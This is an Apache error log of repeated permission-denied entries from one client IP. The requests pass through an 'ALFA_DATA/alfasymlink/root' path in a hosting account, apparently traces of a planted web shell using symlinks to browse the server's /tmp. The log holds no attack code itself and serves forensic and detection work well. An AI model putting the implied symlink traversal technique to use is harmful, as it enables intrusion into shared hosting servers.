[Sun Oct 25 14:19:19.190519 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/' is executable
[Sun Oct 25 14:19:19.190549 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lpa8ZwaWTY/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lpa8ZwaWTY/' is executable
[Sun Oct 25 14:19:19.190564 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/' is executable
[Sun Oct 25 14:19:19.190575 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Ild61SlCM8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Ild61SlCM8/' is executable
[Sun Oct 25 14:19:19.190587 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oMgCKKTHTN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oMgCKKTHTN/' is executable
[Sun Oct 25 14:19:19.190604 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/zFtYW8EbIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/zFtYW8EbIo/' is executable
[Sun Oct 25 14:19:19.190623 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/U8bmWQiMp6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/U8bmWQiMp6/' is executable
[Sun Oct 25 14:19:19.190635 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Iq7IAhBBCA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Iq7IAhBBCA/' is executable
[Sun Oct 25 14:19:19.190646 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/b3IROGlFVp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/b3IROGlFVp/' is executable
[Sun Oct 25 14:19:19.190658 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3tecYTyNge/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3tecYTyNge/' is executable
[Sun Oct 25 14:19:19.190676 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/GC947gwA7a/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/GC947gwA7a/' is executable
[Sun Oct 25 14:19:19.190727 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/' is executable
[Sun Oct 25 14:19:19.190755 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/IDKGG9qSVX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/IDKGG9qSVX/' is executable
[Sun Oct 25 14:19:19.190774 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yIE1_o1ryC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yIE1_o1ryC/' is executable
[Sun Oct 25 14:19:19.190793 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pSZX5IDLqg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pSZX5IDLqg/' is executable
[Sun Oct 25 14:19:19.190815 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o3jCljYMJM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o3jCljYMJM/' is executable
[Sun Oct 25 14:19:19.190844 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rc35X03xH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rc35X03xH/' is executable
[Sun Oct 25 14:19:19.190866 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_UC3eRcjzH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_UC3eRcjzH/' is executable
[Sun Oct 25 14:19:19.190882 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/' is executable
[Sun Oct 25 14:19:19.190901 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/' is executable
[Sun Oct 25 14:19:19.190914 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bYpoGDqHwv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bYpoGDqHwv/' is executable
[Sun Oct 25 14:19:19.190944 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WGtLrvNEoO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WGtLrvNEoO/' is executable
[Sun Oct 25 14:19:19.190960 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/KPaWqZiNSx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/KPaWqZiNSx/' is executable
[Sun Oct 25 14:19:19.190980 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/' is executable
[Sun Oct 25 14:19:19.190995 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/0sa9T3ad5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/0sa9T3ad5i/' is executable
[Sun Oct 25 14:19:19.191007 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Bx1XC6ECXC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Bx1XC6ECXC/' is executable
[Sun Oct 25 14:19:19.191026 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/EB_JgHXTS_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/EB_JgHXTS_/' is executable
[Sun Oct 25 14:19:19.191039 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S7yeadvPLt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S7yeadvPLt/' is executable
[Sun Oct 25 14:19:19.191058 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Z33Xr5YNYQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Z33Xr5YNYQ/' is executable
[Sun Oct 25 14:19:19.191082 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9qR6QZfgjM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9qR6QZfgjM/' is executable
[Sun Oct 25 14:19:19.191095 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1f5_lXm747/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1f5_lXm747/' is executable
[Sun Oct 25 14:19:19.191135 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kGbyt5GibL/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kGbyt5GibL/' is executable
[Sun Oct 25 14:19:19.191157 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nvY9ED8VzZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nvY9ED8VzZ/' is executable
[Sun Oct 25 14:19:19.191170 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Re609yu1zD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Re609yu1zD/' is executable
[Sun Oct 25 14:19:19.191198 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6NbtUbNDlC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6NbtUbNDlC/' is executable
[Sun Oct 25 14:19:19.191246 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/UzG84SehML/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/UzG84SehML/' is executable
[Sun Oct 25 14:19:19.191288 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/W8MHf4Zxj7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/W8MHf4Zxj7/' is executable
[Sun Oct 25 14:19:19.191304 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2rVIel3WrA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2rVIel3WrA/' is executable
[Sun Oct 25 14:19:19.191318 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/' is executable
[Sun Oct 25 14:19:19.191329 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cDinXPzzIs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cDinXPzzIs/' is executable
[Sun Oct 25 14:19:19.191348 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/r7NY5hafpJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/r7NY5hafpJ/' is executable
[Sun Oct 25 14:19:19.191362 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Qz4yTy6bRg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Qz4yTy6bRg/' is executable
[Sun Oct 25 14:19:19.191380 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fGFl3Hs6F6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fGFl3Hs6F6/' is executable
[Sun Oct 25 14:19:19.191405 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/' is executable
[Sun Oct 25 14:19:19.191425 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/' is executable
[Sun Oct 25 14:19:19.191443 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/A4pXv2TKkc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/A4pXv2TKkc/' is executable
[Sun Oct 25 14:19:19.191462 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/' is executable
[Sun Oct 25 14:19:19.191502 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PbgIeBycdi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PbgIeBycdi/' is executable
[Sun Oct 25 14:19:19.191518 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/uoip5FWHmS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/uoip5FWHmS/' is executable
[Sun Oct 25 14:19:19.191530 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Nisnt6W17S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Nisnt6W17S/' is executable
[Sun Oct 25 14:19:19.191541 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TYWco4I01R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TYWco4I01R/' is executable
[Sun Oct 25 14:19:19.191560 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HsbhoqpxvF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HsbhoqpxvF/' is executable
[Sun Oct 25 14:19:19.191574 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/com.google.Chrome.RuHS4J/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/com.google.Chrome.RuHS4J/' is executable
[Sun Oct 25 14:19:19.191591 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/73W4Upx2xZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/73W4Upx2xZ/' is executable
[Sun Oct 25 14:19:19.191620 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/netAn5lB7R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/netAn5lB7R/' is executable
[Sun Oct 25 14:19:19.191641 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fnSpdRPZXM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fnSpdRPZXM/' is executable
[Sun Oct 25 14:19:19.191661 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/iikh7iS_bx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/iikh7iS_bx/' is executable
[Sun Oct 25 14:19:19.191683 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pRcXpLxgau/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pRcXpLxgau/' is executable
[Sun Oct 25 14:19:19.191701 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bxaVZth3VS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bxaVZth3VS/' is executable
[Sun Oct 25 14:19:19.191718 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/qoKgRIpeKE/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/qoKgRIpeKE/' is executable
[Sun Oct 25 14:19:19.191731 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/FtHSIHY9fJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/FtHSIHY9fJ/' is executable
[Sun Oct 25 14:19:19.191754 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/k7tPBxTQIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/k7tPBxTQIo/' is executable
[Sun Oct 25 14:19:19.191766 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XP6cTUswRK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XP6cTUswRK/' is executable
[Sun Oct 25 14:19:19.191777 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ouS9dGGoxk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ouS9dGGoxk/' is executable
[Sun Oct 25 14:19:19.191792 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/' is executable
[Sun Oct 25 14:19:19.191805 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/mFSuYYVNz9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/mFSuYYVNz9/' is executable
[Sun Oct 25 14:19:19.191827 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/40NmY00D8K/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/40NmY00D8K/' is executable
[Sun Oct 25 14:19:19.191840 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7SsEHkh7b7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7SsEHkh7b7/' is executable
